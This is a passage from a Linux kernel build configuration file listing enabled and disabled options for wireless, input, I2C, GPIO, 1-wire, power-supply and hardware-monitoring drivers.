CONFIG_ATH5K_TEST_CHANNELS is not set CONFIG_ATH9K_HW=y CONFIG_ATH9K_COMMON=y CONFIG_ATH9K_BTCOEX_SUPPORT=y # CONFIG_ATH9K is not set CONFIG_ATH9K_HTC=y # CONFIG_ATH9K_HTC_DEBUGFS is not set CONFIG_CARL9170=y # CONFIG_CARL9170_LEDS is not set CONFIG_CARL9170_WPC=y CONFIG_CARL9170_HWRNG=y CONFIG_ATH6KL=y CONFIG_ATH6KL_SDIO=y CONFIG_ATH6KL_USB=y CONFIG_ATH6KL_DEBUG=y # CONFIG_ATH6KL_REGDOMAIN is not set CONFIG_AR5523=y # CONFIG_WIL6210 is not set CONFIG_ATH10K=y CONFIG_ATH10K_PCI=y CONFIG_ATH10K_DEBUG=y CONFIG_ATH10K_DEBUGFS=y CONFIG_ATH10K_DFS_CERTIFIED=y # CONFIG_WCN36XX is not set # CONFIG_B43 is not set CONFIG_B43LEGACY=y CONFIG_B43LEGACY_PCI_AUTOSELECT=y CONFIG_B43LEGACY_PCICORE_AUTOSELECT=y CONFIG_B43LEGACY_LEDS=y CONFIG_B43LEGACY_HWRNG=y CONFIG_B43LEGACY_DEBUG=y CONFIG_B43LEGACY_DMA=y CONFIG_B43LEGACY_PIO=y CONFIG_B43LEGACY_DMA_AND_PIO_MODE=y # CONFIG_B43LEGACY_DMA_MODE is not set # CONFIG_B43LEGACY_PIO_MODE is not set CONFIG_BRCMUTIL=y # CONFIG_BRCMSMAC is not set CONFIG_BRCMFMAC=y CONFIG_BRCMFMAC_PROTO_BCDC=y CONFIG_BRCMFMAC_PROTO_MSGBUF=y CONFIG_BRCMFMAC_SDIO=y CONFIG_BRCMFMAC_USB=y CONFIG_BRCMFMAC_PCIE=y CONFIG_BRCM_TRACING=y # CONFIG_BRCMDBG is not set # CONFIG_HOSTAP is not set CONFIG_IPW2100=y # CONFIG_IPW2100_MONITOR is not set # CONFIG_IPW2100_DEBUG is not set CONFIG_IPW2200=y # CONFIG_IPW2200_MONITOR is not set CONFIG_IPW2200_QOS=y # CONFIG_IPW2200_DEBUG is not set CONFIG_LIBIPW=y CONFIG_LIBIPW_DEBUG=y CONFIG_IWLWIFI=y CONFIG_IWLWIFI_LEDS=y # CONFIG_IWLDVM is not set # CONFIG_IWLMVM is not set # # WARNING: iwlwifi is useless without IWLDVM or IWLMVM # # # Debugging Options # # CONFIG_IWLWIFI_DEBUG is not set CONFIG_IWLEGACY=y # CONFIG_IWL4965 is not set CONFIG_IWL3945=y # # iwl3945 / iwl4965 Debugging Options # CONFIG_IWLEGACY_DEBUG=y CONFIG_LIBERTAS=y # CONFIG_LIBERTAS_USB is not set # CONFIG_LIBERTAS_SDIO is not set CONFIG_LIBERTAS_DEBUG=y CONFIG_LIBERTAS_MESH=y CONFIG_HERMES=y CONFIG_HERMES_PRISM=y # CONFIG_HERMES_CACHE_FW_ON_INIT is not set CONFIG_PLX_HERMES=y # CONFIG_TMD_HERMES is not set CONFIG_NORTEL_HERMES=y CONFIG_PCI_HERMES=y # CONFIG_ORINOCO_USB is not set CONFIG_P54_COMMON=y CONFIG_P54_USB=y # CONFIG_P54_PCI is not set CONFIG_P54_LEDS=y CONFIG_RT2X00=y CONFIG_RT2400PCI=y CONFIG_RT2500PCI=y CONFIG_RT61PCI=y CONFIG_RT2800PCI=y CONFIG_RT2800PCI_RT33XX=y CONFIG_RT2800PCI_RT35XX=y # CONFIG_RT2800PCI_RT53XX is not set CONFIG_RT2800PCI_RT3290=y CONFIG_RT2500USB=y # CONFIG_RT73USB is not set # CONFIG_RT2800USB is not set CONFIG_RT2800_LIB=y CONFIG_RT2800_LIB_MMIO=y CONFIG_RT2X00_LIB_MMIO=y CONFIG_RT2X00_LIB_PCI=y CONFIG_RT2X00_LIB_USB=y CONFIG_RT2X00_LIB=y CONFIG_RT2X00_LIB_FIRMWARE=y CONFIG_RT2X00_LIB_CRYPTO=y CONFIG_RT2X00_LIB_LEDS=y CONFIG_RT2X00_DEBUG=y # CONFIG_WL_MEDIATEK is not set CONFIG_RTL_CARDS=y CONFIG_RTL8192CE=y CONFIG_RTL8192SE=y # CONFIG_RTL8192DE is not set # CONFIG_RTL8723AE is not set CONFIG_RTL8723BE=y CONFIG_RTL8188EE=y CONFIG_RTL8192EE=y # CONFIG_RTL8821AE is not set CONFIG_RTL8192CU=y CONFIG_RTLWIFI=y CONFIG_RTLWIFI_PCI=y CONFIG_RTLWIFI_USB=y CONFIG_RTLWIFI_DEBUG=y CONFIG_RTL8192C_COMMON=y CONFIG_RTL8723_COMMON=y CONFIG_RTLBTCOEXIST=y CONFIG_WL_TI=y CONFIG_WL1251=y # CONFIG_WL1251_SDIO is not set CONFIG_WL12XX=y CONFIG_WL18XX=y CONFIG_WLCORE=y CONFIG_WLCORE_SDIO=y # CONFIG_WILINK_PLATFORM_DATA is not set CONFIG_ZD1211RW=y CONFIG_ZD1211RW_DEBUG=y CONFIG_MWIFIEX=y # CONFIG_MWIFIEX_SDIO is not set CONFIG_MWIFIEX_PCIE=y CONFIG_MWIFIEX_USB=y CONFIG_CW1200=y CONFIG_CW1200_WLAN_SDIO=y CONFIG_RSI_91X=y CONFIG_RSI_DEBUGFS=y CONFIG_RSI_SDIO=y # CONFIG_RSI_USB is not set # # Enable WiMAX (Networking options) to see the WiMAX drivers # CONFIG_WAN=y # CONFIG_HDLC is not set CONFIG_DLCI=y CONFIG_DLCI_MAX=8 CONFIG_SBNI=y # CONFIG_SBNI_MULTILINE is not set CONFIG_IEEE802154_DRIVERS=y # CONFIG_IEEE802154_FAKELB is not set CONFIG_IEEE802154_ATUSB=y # CONFIG_VMXNET3 is not set CONFIG_FUJITSU_ES=y # CONFIG_ISDN is not set # # Input device support # CONFIG_INPUT=y CONFIG_INPUT_LEDS=y CONFIG_INPUT_FF_MEMLESS=y CONFIG_INPUT_POLLDEV=y CONFIG_INPUT_SPARSEKMAP=y CONFIG_INPUT_MATRIXKMAP=y # # Userland interfaces # CONFIG_INPUT_MOUSEDEV=y CONFIG_INPUT_MOUSEDEV_PSAUX=y CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024 CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 CONFIG_INPUT_JOYDEV=y # CONFIG_INPUT_EVDEV is not set CONFIG_INPUT_EVBUG=y # # Input Device Drivers # CONFIG_INPUT_KEYBOARD=y CONFIG_KEYBOARD_ADP5588=y CONFIG_KEYBOARD_ADP5589=y # CONFIG_KEYBOARD_ATKBD is not set CONFIG_KEYBOARD_QT1070=y # CONFIG_KEYBOARD_QT2160 is not set CONFIG_KEYBOARD_LKKBD=y CONFIG_KEYBOARD_GPIO=y CONFIG_KEYBOARD_GPIO_POLLED=y CONFIG_KEYBOARD_TCA6416=y CONFIG_KEYBOARD_TCA8418=y CONFIG_KEYBOARD_MATRIX=y # CONFIG_KEYBOARD_LM8323 is not set # CONFIG_KEYBOARD_LM8333 is not set CONFIG_KEYBOARD_MAX7359=y CONFIG_KEYBOARD_MCS=y # CONFIG_KEYBOARD_MPR121 is not set CONFIG_KEYBOARD_NEWTON=y # CONFIG_KEYBOARD_OPENCORES is not set CONFIG_KEYBOARD_SAMSUNG=y # CONFIG_KEYBOARD_STOWAWAY is not set # CONFIG_KEYBOARD_SUNKBD is not set # CONFIG_KEYBOARD_STMPE is not set CONFIG_KEYBOARD_OMAP4=y CONFIG_KEYBOARD_TWL4030=y CONFIG_KEYBOARD_XTKBD=y CONFIG_KEYBOARD_CAP11XX=y CONFIG_KEYBOARD_BCM=y # CONFIG_INPUT_MOUSE is not set CONFIG_INPUT_JOYSTICK=y # CONFIG_JOYSTICK_ANALOG is not set CONFIG_JOYSTICK_A3D=y CONFIG_JOYSTICK_ADI=y CONFIG_JOYSTICK_COBRA=y CONFIG_JOYSTICK_GF2K=y # CONFIG_JOYSTICK_GRIP is not set CONFIG_JOYSTICK_GRIP_MP=y CONFIG_JOYSTICK_GUILLEMOT=y # CONFIG_JOYSTICK_INTERACT is not set CONFIG_JOYSTICK_SIDEWINDER=y CONFIG_JOYSTICK_TMDC=y CONFIG_JOYSTICK_IFORCE=y # CONFIG_JOYSTICK_IFORCE_USB is not set CONFIG_JOYSTICK_IFORCE_232=y CONFIG_JOYSTICK_WARRIOR=y # CONFIG_JOYSTICK_MAGELLAN is not set CONFIG_JOYSTICK_SPACEORB=y # CONFIG_JOYSTICK_SPACEBALL is not set CONFIG_JOYSTICK_STINGER=y CONFIG_JOYSTICK_TWIDJOY=y # CONFIG_JOYSTICK_ZHENHUA is not set # CONFIG_JOYSTICK_DB9 is not set CONFIG_JOYSTICK_GAMECON=y # CONFIG_JOYSTICK_TURBOGRAFX is not set # CONFIG_JOYSTICK_AS5011 is not set CONFIG_JOYSTICK_JOYDUMP=y # CONFIG_JOYSTICK_XPAD is not set # CONFIG_JOYSTICK_WALKERA0701 is not set CONFIG_INPUT_TABLET=y CONFIG_TABLET_USB_ACECAD=y CONFIG_TABLET_USB_AIPTEK=y CONFIG_TABLET_USB_GTCO=y CONFIG_TABLET_USB_HANWANG=y CONFIG_TABLET_USB_KBTAB=y # CONFIG_TABLET_SERIAL_WACOM4 is not set CONFIG_INPUT_TOUCHSCREEN=y CONFIG_TOUCHSCREEN_PROPERTIES=y CONFIG_TOUCHSCREEN_88PM860X=y # CONFIG_TOUCHSCREEN_AD7879 is not set CONFIG_TOUCHSCREEN_AR1021_I2C=y # CONFIG_TOUCHSCREEN_ATMEL_MXT is not set CONFIG_TOUCHSCREEN_AUO_PIXCIR=y CONFIG_TOUCHSCREEN_BU21013=y CONFIG_TOUCHSCREEN_CHIPONE_ICN8318=y CONFIG_TOUCHSCREEN_CY8CTMG110=y CONFIG_TOUCHSCREEN_CYTTSP_CORE=y CONFIG_TOUCHSCREEN_CYTTSP_I2C=y CONFIG_TOUCHSCREEN_CYTTSP4_CORE=y CONFIG_TOUCHSCREEN_CYTTSP4_I2C=y CONFIG_TOUCHSCREEN_DA9052=y # CONFIG_TOUCHSCREEN_DYNAPRO is not set # CONFIG_TOUCHSCREEN_HAMPSHIRE is not set CONFIG_TOUCHSCREEN_EETI=y # CONFIG_TOUCHSCREEN_EGALAX is not set CONFIG_TOUCHSCREEN_FT6236=y CONFIG_TOUCHSCREEN_FUJITSU=y CONFIG_TOUCHSCREEN_GOODIX=y CONFIG_TOUCHSCREEN_ILI210X=y # CONFIG_TOUCHSCREEN_GUNZE is not set # CONFIG_TOUCHSCREEN_ELAN is not set # CONFIG_TOUCHSCREEN_ELO is not set CONFIG_TOUCHSCREEN_WACOM_W8001=y CONFIG_TOUCHSCREEN_WACOM_I2C=y # CONFIG_TOUCHSCREEN_MAX11801 is not set CONFIG_TOUCHSCREEN_MCS5000=y # CONFIG_TOUCHSCREEN_MMS114 is not set CONFIG_TOUCHSCREEN_MTOUCH=y CONFIG_TOUCHSCREEN_IMX6UL_TSC=y CONFIG_TOUCHSCREEN_INEXIO=y # CONFIG_TOUCHSCREEN_MK712 is not set CONFIG_TOUCHSCREEN_PENMOUNT=y CONFIG_TOUCHSCREEN_EDT_FT5X06=y CONFIG_TOUCHSCREEN_TOUCHRIGHT=y CONFIG_TOUCHSCREEN_TOUCHWIN=y # CONFIG_TOUCHSCREEN_PIXCIR is not set CONFIG_TOUCHSCREEN_WDT87XX_I2C=y CONFIG_TOUCHSCREEN_USB_COMPOSITE=y CONFIG_TOUCHSCREEN_MC13783=y CONFIG_TOUCHSCREEN_USB_EGALAX=y # CONFIG_TOUCHSCREEN_USB_PANJIT is not set # CONFIG_TOUCHSCREEN_USB_3M is not set # CONFIG_TOUCHSCREEN_USB_ITM is not set # CONFIG_TOUCHSCREEN_USB_ETURBO is not set CONFIG_TOUCHSCREEN_USB_GUNZE=y CONFIG_TOUCHSCREEN_USB_DMC_TSC10=y # CONFIG_TOUCHSCREEN_USB_IRTOUCH is not set CONFIG_TOUCHSCREEN_USB_IDEALTEK=y # CONFIG_TOUCHSCREEN_USB_GENERAL_TOUCH is not set CONFIG_TOUCHSCREEN_USB_GOTOP=y # CONFIG_TOUCHSCREEN_USB_JASTEC is not set CONFIG_TOUCHSCREEN_USB_ELO=y # CONFIG_TOUCHSCREEN_USB_E2I is not set # CONFIG_TOUCHSCREEN_USB_ZYTRONIC is not set # CONFIG_TOUCHSCREEN_USB_ETT_TC45USB is not set # CONFIG_TOUCHSCREEN_USB_NEXIO is not set CONFIG_TOUCHSCREEN_USB_EASYTOUCH=y CONFIG_TOUCHSCREEN_TOUCHIT213=y CONFIG_TOUCHSCREEN_TSC_SERIO=y # CONFIG_TOUCHSCREEN_TSC2007 is not set CONFIG_TOUCHSCREEN_ST1232=y CONFIG_TOUCHSCREEN_STMPE=y CONFIG_TOUCHSCREEN_SX8654=y CONFIG_TOUCHSCREEN_TPS6507X=y # CONFIG_TOUCHSCREEN_ZFORCE is not set CONFIG_TOUCHSCREEN_ROHM_BU21023=y CONFIG_INPUT_MISC=y CONFIG_INPUT_88PM860X_ONKEY=y CONFIG_INPUT_AD714X=y CONFIG_INPUT_AD714X_I2C=y CONFIG_INPUT_BMA150=y # CONFIG_INPUT_E3X0_BUTTON is not set # CONFIG_INPUT_PCSPKR is not set CONFIG_INPUT_MAX77693_HAPTIC=y CONFIG_INPUT_MAX8997_HAPTIC=y CONFIG_INPUT_MC13783_PWRBUTTON=y CONFIG_INPUT_MMA8450=y # CONFIG_INPUT_MPU3050 is not set # CONFIG_INPUT_APANEL is not set CONFIG_INPUT_GP2A=y CONFIG_INPUT_GPIO_BEEPER=y CONFIG_INPUT_GPIO_TILT_POLLED=y # CONFIG_INPUT_ATLAS_BTNS is not set CONFIG_INPUT_ATI_REMOTE2=y CONFIG_INPUT_KEYSPAN_REMOTE=y CONFIG_INPUT_KXTJ9=y # CONFIG_INPUT_KXTJ9_POLLED_MODE is not set # CONFIG_INPUT_POWERMATE is not set CONFIG_INPUT_YEALINK=y # CONFIG_INPUT_CM109 is not set CONFIG_INPUT_REGULATOR_HAPTIC=y CONFIG_INPUT_AXP20X_PEK=y CONFIG_INPUT_TWL4030_PWRBUTTON=y # CONFIG_INPUT_TWL4030_VIBRA is not set CONFIG_INPUT_UINPUT=y CONFIG_INPUT_PCF50633_PMU=y CONFIG_INPUT_PCF8574=y # CONFIG_INPUT_PWM_BEEPER is not set CONFIG_INPUT_GPIO_ROTARY_ENCODER=y CONFIG_INPUT_DA9052_ONKEY=y CONFIG_INPUT_DA9055_ONKEY=y CONFIG_INPUT_DA9063_ONKEY=y CONFIG_INPUT_ADXL34X=y # CONFIG_INPUT_ADXL34X_I2C is not set CONFIG_INPUT_IMS_PCU=y CONFIG_INPUT_CMA3000=y CONFIG_INPUT_CMA3000_I2C=y CONFIG_INPUT_SOC_BUTTON_ARRAY=y CONFIG_INPUT_DRV260X_HAPTICS=y CONFIG_INPUT_DRV2665_HAPTICS=y CONFIG_INPUT_DRV2667_HAPTICS=y # # Hardware I/O ports # CONFIG_SERIO=y CONFIG_ARCH_MIGHT_HAVE_PC_SERIO=y # CONFIG_SERIO_I8042 is not set CONFIG_SERIO_CT82C710=y CONFIG_SERIO_PARKBD=y CONFIG_SERIO_PCIPS2=y CONFIG_SERIO_LIBPS2=y # CONFIG_SERIO_RAW is not set CONFIG_SERIO_ALTERA_PS2=y # CONFIG_SERIO_PS2MULT is not set CONFIG_SERIO_ARC_PS2=y # CONFIG_SERIO_APBPS2 is not set CONFIG_GAMEPORT=y CONFIG_GAMEPORT_NS558=y # CONFIG_GAMEPORT_L4 is not set CONFIG_GAMEPORT_EMU10K1=y CONFIG_GAMEPORT_FM801=y # # Character devices # # CONFIG_TTY is not set CONFIG_DEVMEM=y # CONFIG_DEVKMEM is not set # CONFIG_PRINTER is not set CONFIG_PPDEV=y CONFIG_IPMI_HANDLER=y # CONFIG_IPMI_PANIC_EVENT is not set CONFIG_IPMI_DEVICE_INTERFACE=y CONFIG_IPMI_SI=y # CONFIG_IPMI_SI_PROBE_DEFAULTS is not set CONFIG_IPMI_SSIF=y CONFIG_IPMI_WATCHDOG=y # CONFIG_IPMI_POWEROFF is not set CONFIG_HW_RANDOM=y # CONFIG_HW_RANDOM_TIMERIOMEM is not set CONFIG_HW_RANDOM_INTEL=y CONFIG_HW_RANDOM_AMD=y CONFIG_HW_RANDOM_VIA=y CONFIG_HW_RANDOM_VIRTIO=y CONFIG_NVRAM=y CONFIG_APPLICOM=y # CONFIG_RAW_DRIVER is not set CONFIG_HPET=y # CONFIG_HPET_MMAP is not set CONFIG_HANGCHECK_TIMER=y # CONFIG_TCG_TPM is not set # CONFIG_TELCLOCK is not set CONFIG_DEVPORT=y # CONFIG_XILLYBUS is not set # # I2C support # CONFIG_I2C=y CONFIG_ACPI_I2C_OPREGION=y CONFIG_I2C_BOARDINFO=y CONFIG_I2C_COMPAT=y CONFIG_I2C_CHARDEV=y CONFIG_I2C_MUX=y # # Multiplexer I2C Chip support # # CONFIG_I2C_ARB_GPIO_CHALLENGE is not set CONFIG_I2C_MUX_GPIO=y CONFIG_I2C_MUX_PCA9541=y # CONFIG_I2C_MUX_PCA954x is not set CONFIG_I2C_MUX_PINCTRL=y # CONFIG_I2C_MUX_REG is not set CONFIG_I2C_HELPER_AUTO=y CONFIG_I2C_SMBUS=y CONFIG_I2C_ALGOBIT=y CONFIG_I2C_ALGOPCA=y # # I2C Hardware Bus support # # # PC SMBus host controller drivers # CONFIG_I2C_ALI1535=y CONFIG_I2C_ALI1563=y CONFIG_I2C_ALI15X3=y # CONFIG_I2C_AMD756 is not set CONFIG_I2C_AMD8111=y CONFIG_I2C_I801=y CONFIG_I2C_ISCH=y # CONFIG_I2C_ISMT is not set # CONFIG_I2C_PIIX4 is not set # CONFIG_I2C_NFORCE2 is not set # CONFIG_I2C_SIS5595 is not set CONFIG_I2C_SIS630=y CONFIG_I2C_SIS96X=y CONFIG_I2C_VIA=y # CONFIG_I2C_VIAPRO is not set # # ACPI drivers # # CONFIG_I2C_SCMI is not set # # I2C system bus drivers (mostly embedded / system-on-chip) # # CONFIG_I2C_CBUS_GPIO is not set CONFIG_I2C_DESIGNWARE_CORE=y # CONFIG_I2C_DESIGNWARE_PLATFORM is not set CONFIG_I2C_DESIGNWARE_PCI=y # CONFIG_I2C_EMEV2 is not set CONFIG_I2C_GPIO=y CONFIG_I2C_KEMPLD=y # CONFIG_I2C_OCORES is not set CONFIG_I2C_PCA_PLATFORM=y # CONFIG_I2C_PXA_PCI is not set CONFIG_I2C_RK3X=y # CONFIG_I2C_SIMTEC is not set CONFIG_I2C_XILINX=y # # External I2C/SMBus adapter drivers # CONFIG_I2C_DIOLAN_U2C=y CONFIG_I2C_DLN2=y CONFIG_I2C_PARPORT=y CONFIG_I2C_PARPORT_LIGHT=y CONFIG_I2C_ROBOTFUZZ_OSIF=y # CONFIG_I2C_TINY_USB is not set # # Other I2C/SMBus bus drivers # CONFIG_I2C_SLAVE=y CONFIG_I2C_SLAVE_EEPROM=y # CONFIG_I2C_DEBUG_CORE is not set # CONFIG_I2C_DEBUG_ALGO is not set CONFIG_I2C_DEBUG_BUS=y # CONFIG_SPI is not set # CONFIG_SPMI is not set CONFIG_HSI=y CONFIG_HSI_BOARDINFO=y # # HSI controllers # # # HSI clients # CONFIG_HSI_CHAR=y # # PPS support # CONFIG_PPS=y # CONFIG_PPS_DEBUG is not set # CONFIG_NTP_PPS is not set # # PPS clients support # # CONFIG_PPS_CLIENT_KTIMER is not set CONFIG_PPS_CLIENT_PARPORT=y # CONFIG_PPS_CLIENT_GPIO is not set # # PPS generators support # # # PTP clock support # CONFIG_PTP_1588_CLOCK=y # # Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. # CONFIG_PINCTRL=y # # Pin controllers # CONFIG_PINMUX=y CONFIG_PINCONF=y CONFIG_GENERIC_PINCONF=y # CONFIG_DEBUG_PINCTRL is not set CONFIG_PINCTRL_AS3722=y # CONFIG_PINCTRL_AMD is not set CONFIG_PINCTRL_SINGLE=y CONFIG_PINCTRL_BAYTRAIL=y CONFIG_PINCTRL_CHERRYVIEW=y CONFIG_PINCTRL_INTEL=y CONFIG_PINCTRL_SUNRISEPOINT=y CONFIG_ARCH_WANT_OPTIONAL_GPIOLIB=y CONFIG_GPIOLIB=y CONFIG_GPIO_DEVRES=y CONFIG_OF_GPIO=y CONFIG_GPIO_ACPI=y CONFIG_GPIOLIB_IRQCHIP=y # CONFIG_DEBUG_GPIO is not set # CONFIG_GPIO_SYSFS is not set CONFIG_GPIO_GENERIC=y # # Memory mapped GPIO drivers # # CONFIG_GPIO_74XX_MMIO is not set CONFIG_GPIO_ALTERA=y CONFIG_GPIO_DWAPB=y CONFIG_GPIO_F7188X=y CONFIG_GPIO_GENERIC_PLATFORM=y CONFIG_GPIO_GRGPIO=y CONFIG_GPIO_ICH=y # CONFIG_GPIO_IT87 is not set CONFIG_GPIO_LYNXPOINT=y CONFIG_GPIO_SCH=y CONFIG_GPIO_SCH311X=y CONFIG_GPIO_SYSCON=y # CONFIG_GPIO_VX855 is not set CONFIG_GPIO_XILINX=y # # I2C GPIO expanders # CONFIG_GPIO_ADP5588=y CONFIG_GPIO_ADP5588_IRQ=y CONFIG_GPIO_ADNP=y # CONFIG_GPIO_MAX7300 is not set # CONFIG_GPIO_MAX732X is not set CONFIG_GPIO_PCA953X=y # CONFIG_GPIO_PCA953X_IRQ is not set # CONFIG_GPIO_PCF857X is not set # CONFIG_GPIO_SX150X is not set # # MFD GPIO expanders # CONFIG_GPIO_ARIZONA=y CONFIG_GPIO_DA9052=y # CONFIG_GPIO_DA9055 is not set # CONFIG_GPIO_DLN2 is not set CONFIG_GPIO_JANZ_TTL=y CONFIG_GPIO_KEMPLD=y CONFIG_GPIO_LP3943=y # CONFIG_GPIO_RC5T583 is not set # CONFIG_GPIO_STMPE is not set CONFIG_GPIO_TPS65910=y # CONFIG_GPIO_TPS65912 is not set CONFIG_GPIO_TWL4030=y CONFIG_GPIO_WM8994=y # # PCI GPIO expanders # CONFIG_GPIO_AMD8111=y CONFIG_GPIO_BT8XX=y CONFIG_GPIO_INTEL_MID=y # CONFIG_GPIO_ML_IOH is not set CONFIG_GPIO_RDC321X=y CONFIG_GPIO_SODAVILLE=y # # USB GPIO expanders # CONFIG_W1=y # CONFIG_W1_CON is not set # # 1-wire Bus Masters # # CONFIG_W1_MASTER_MATROX is not set # CONFIG_W1_MASTER_DS2490 is not set CONFIG_W1_MASTER_DS2482=y # CONFIG_W1_MASTER_DS1WM is not set CONFIG_W1_MASTER_GPIO=y # # 1-wire Slaves # CONFIG_W1_SLAVE_THERM=y CONFIG_W1_SLAVE_SMEM=y CONFIG_W1_SLAVE_DS2408=y # CONFIG_W1_SLAVE_DS2408_READBACK is not set # CONFIG_W1_SLAVE_DS2413 is not set # CONFIG_W1_SLAVE_DS2406 is not set # CONFIG_W1_SLAVE_DS2423 is not set CONFIG_W1_SLAVE_DS2431=y # CONFIG_W1_SLAVE_DS2433 is not set CONFIG_W1_SLAVE_DS2760=y CONFIG_W1_SLAVE_DS2780=y CONFIG_W1_SLAVE_DS2781=y CONFIG_W1_SLAVE_DS28E04=y CONFIG_W1_SLAVE_BQ27000=y CONFIG_POWER_SUPPLY=y CONFIG_POWER_SUPPLY_DEBUG=y CONFIG_PDA_POWER=y CONFIG_GENERIC_ADC_BATTERY=y CONFIG_TEST_POWER=y CONFIG_BATTERY_88PM860X=y CONFIG_BATTERY_DS2760=y CONFIG_BATTERY_DS2780=y CONFIG_BATTERY_DS2781=y CONFIG_BATTERY_DS2782=y # CONFIG_BATTERY_SBS is not set CONFIG_BATTERY_BQ27XXX=y CONFIG_BATTERY_BQ27XXX_I2C=y CONFIG_BATTERY_BQ27XXX_PLATFORM=y CONFIG_BATTERY_DA9052=y # CONFIG_CHARGER_DA9150 is not set # CONFIG_BATTERY_DA9150 is not set # CONFIG_AXP288_CHARGER is not set # CONFIG_AXP288_FUEL_GAUGE is not set CONFIG_BATTERY_MAX17040=y CONFIG_BATTERY_MAX17042=y CONFIG_BATTERY_TWL4030_MADC=y CONFIG_CHARGER_88PM860X=y CONFIG_CHARGER_PCF50633=y # CONFIG_BATTERY_RX51 is not set # CONFIG_CHARGER_ISP1704 is not set CONFIG_CHARGER_MAX8903=y CONFIG_CHARGER_TWL4030=y CONFIG_CHARGER_LP8727=y # CONFIG_CHARGER_GPIO is not set # CONFIG_CHARGER_MANAGER is not set # CONFIG_CHARGER_MAX77693 is not set CONFIG_CHARGER_MAX8997=y CONFIG_CHARGER_BQ2415X=y # CONFIG_CHARGER_BQ24190 is not set CONFIG_CHARGER_BQ24257=y CONFIG_CHARGER_BQ24735=y # CONFIG_CHARGER_BQ25890 is not set CONFIG_CHARGER_SMB347=y CONFIG_CHARGER_TPS65217=y CONFIG_BATTERY_GAUGE_LTC2941=y CONFIG_BATTERY_RT5033=y # CONFIG_CHARGER_RT9455 is not set CONFIG_AXP20X_POWER=y CONFIG_POWER_RESET=y CONFIG_POWER_RESET_AS3722=y CONFIG_POWER_RESET_GPIO=y CONFIG_POWER_RESET_GPIO_RESTART=y # CONFIG_POWER_RESET_LTC2952 is not set # CONFIG_POWER_RESET_RESTART is not set CONFIG_POWER_RESET_SYSCON=y # CONFIG_POWER_RESET_SYSCON_POWEROFF is not set # CONFIG_POWER_AVS is not set CONFIG_HWMON=y CONFIG_HWMON_VID=y CONFIG_HWMON_DEBUG_CHIP=y # # Native drivers # CONFIG_SENSORS_AD7414=y CONFIG_SENSORS_AD7418=y # CONFIG_SENSORS_ADM1021 is not set # CONFIG_SENSORS_ADM1025 is not set CONFIG_SENSORS_ADM1026=y CONFIG_SENSORS_ADM1029=y CONFIG_SENSORS_ADM1031=y # CONFIG_SENSORS_ADM9240 is not set CONFIG_SENSORS_ADT7X10=y CONFIG_SENSORS_ADT7410=y CONFIG_SENSORS_ADT7411=y CONFIG_SENSORS_ADT7462=y # CONFIG_SENSORS_ADT7470 is not set CONFIG_SENSORS_ADT7475=y CONFIG_SENSORS_ASC7621=y CONFIG_SENSORS_K8TEMP=y # CONFIG_SENSORS_K10TEMP is not set CONFIG_SENSORS_FAM15H_POWER=y CONFIG_SENSORS_APPLESMC=y # CONFIG_SENSORS_ASB100 is not set # CONFIG_SENSORS_ATXP1 is not set # CONFIG_SENSORS_DS620 is not set CONFIG_SENSORS_DS1621=y CONFIG_SENSORS_DELL_SMM=y CONFIG_SENSORS_DA9052_ADC=y CONFIG_SENSORS_DA9055=y # CONFIG_SENSORS_I5K_AMB is not set CONFIG_SENSORS_F71805F=y CONFIG_SENSORS_F71882FG=y CONFIG_SENSORS_F75375S=y CONFIG_SENSORS_MC13783_ADC=y CONFIG_SENSORS_FSCHMD=y # CONFIG_SENSORS_GL518SM is not set # CONFIG_SENSORS_GL520SM is not set CONFIG_SENSORS_G760A=y CONFIG_SENSORS_G762=y CONFIG_SENSORS_GPIO_FAN=y # CONFIG_SENSORS_HIH6130 is not set CONFIG_SENSORS_IBMAEM=y CONFIG_SENSORS_IBMPEX=y CONFIG_SENSORS_IIO_HWMON=y # CONFIG_SENSORS_I5500 is not set # CONFIG_SENSORS_CORETEMP is not set # CONFIG_SENSORS_IT87 is not set CONFIG_SENSORS_JC42=y CONFIG_SENSORS_POWR1220=y # CONFIG_SENSORS_LINEAGE is not set CONFIG_SENSORS_LTC2945=y CONFIG_SENSORS_LTC4151=y CONFIG_SENSORS_LTC4215=y CONFIG_SENSORS_LTC4222=y CONFIG_SENSORS_LTC4245=y CONFIG_SENSORS_LTC4260=y # CONFIG_SENSORS_LTC4261 is not set # CONFIG_SENSORS_MAX16065 is not set CONFIG_SENSORS_MAX1619=y # CONFIG_SENSORS_MAX1668 is not set # CONFIG_SENSORS_MAX197 is not set # CONFIG_SENSORS_MAX6639 is not set CONFIG_SENSORS_MAX6642=y # CONFIG_SENSORS_MAX6650 is not set # CONFIG_SENSORS_MAX6697 is not set # CONFIG_SENSORS_MAX31790 is not set CONFIG_SENSORS_HTU21=y CONFIG_SENSORS_MCP3021=y CONFIG_SENSORS_LM63=y # CONFIG_SENSORS_LM73 is not set CONFIG_SENSORS_LM75=y CONFIG_SENSORS_LM77=y CONFIG_SENSORS_LM78=y CONFIG_SENSORS_LM80=y # CONFIG_SENSORS_LM83 is not set # CONFIG_SENSORS_LM85 is not set # CONFIG_SENSORS_LM87 is not set CONFIG_SENSORS_LM90=y # CONFIG_SENSORS_LM92 is not set CONFIG_SENSORS_LM93=y CONFIG_SENSORS_LM95234=y CONFIG_SENSORS_LM95241=y # CONFIG_SENSORS_LM95245 is not set # CONFIG_SENSORS_PC87360 is not set # CONFIG_SENSORS_PC87427 is not set # CONFIG_SENSORS_NTC_THERMISTOR is not set CONFIG_SENSORS_NCT6683=y CONFIG_SENSORS_NCT6775=y CONFIG_SENSORS_NCT7802=y # CONFIG_SENSORS_NCT7904 is not set CONFIG_SENSORS_PCF8591=y CONFIG_PMBUS=y CONFIG_SENSORS_PMBUS=y CONFIG_SENSORS_ADM1275=y CONFIG_SENSORS_LM25066=y CONFIG_SENSORS_LTC2978=y CONFIG_SENSORS_LTC2978_REGULATOR=y # CONFIG_SENSORS_MAX16064 is not set # CONFIG_SENSORS_MAX20751 is not set CONFIG_SENSORS_MAX34440=y # CONFIG_SENSORS_MAX8688 is not set # CONFIG_SENSORS_TPS40422 is not set # CONFIG_SENSORS_UCD9000 is not set CONFIG_SENSORS_UCD9200=y CONFIG_SENSORS_ZL6100=y # CONFIG_SENSORS_PWM_FAN is not set CONFIG_SENSORS_SHT15=y # CONFIG_SENSORS_SHT21 is not set CONFIG_SENSORS_SHTC1=y CONFIG_SENSORS_SIS5595=y CONFIG_SENSORS_DME1737=y # 